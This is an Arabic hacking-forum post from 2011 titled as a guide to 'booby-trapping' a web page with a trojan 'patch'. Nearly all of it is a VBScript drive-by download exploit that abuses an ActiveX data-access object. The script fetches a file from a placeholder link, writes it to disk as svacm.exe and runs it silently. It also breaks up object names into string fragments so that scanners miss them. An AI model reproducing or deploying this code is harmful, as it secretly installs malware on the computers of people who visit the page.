الرئيسيةس .و .جالأعضاءالمجموعاتالتسجيلدخول

شاطر | 
 

 شرح كيفية تلغيم صفحة انترنت بباتش

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
hackerx-pro



عدد المساهمات : 158
تاريخ التسجيل : 25/05/2011

مُساهمةموضوع: شرح كيفية تلغيم صفحة انترنت بباتش    الإثنين سبتمبر 12, 2011 2:34 pm


<
html>

<
head>

<
title>Exploit-Protitle>

head>

<
body>

<
script type="text/vbscript">

on error resume next

Set df
= ********.createElement("object")

df.setAttribute "clas"&"sid", "clsid:BD96C"&"556-65A3-11D0-"&"983A-00C04F"&"C29E36"

str="Microsoft"&"."&"XMLHTTP"

Set x = df.CreateObject(str,"")

var1="Ad"

var2="od"

var3="b."

var4="St"

var5="re"

var6="am"

str1=var1&var2&var3&var4&var5&var6


str5
=str1

set S
= df.createobject(str5,"")

for
count = 0 to 4

S
.type = 1

lnk
="هنا نضع برابط الباتش المرفوع "

x.Open "G"&"E"&"T",lnk,0

x
.Send

set F
= df.createobject("Script"&"ing.FileSys"&"temObject" ,"")

if
count = 0 then tmp = "c:windowstemp" else if count = 1 then tmp = "c:" else if count = 2 then tmp = "c:temp" else if count = 3 then tmp = "d:windowstemp" else if count = 4 then tmp = "d:" end if

fname1= F.BuildPath(tmp,"
svacm.exe")

S.open

S.write x.responseBody

S.savetofile fname1,2

S.close

if err.number = 0 then

set Q = df.createobject("
****l.Application","")

Q.****lExecute fname1,"
INSTALL","","open",0

exit for

else

Err.Clear

End if

next










0
" src=" برابط الصوره هنا نضع"











الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
شرح كيفية تلغيم صفحة انترنت بباتش
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
bladi :: الحماية :: الحماية أجهزة-
انتقل الى: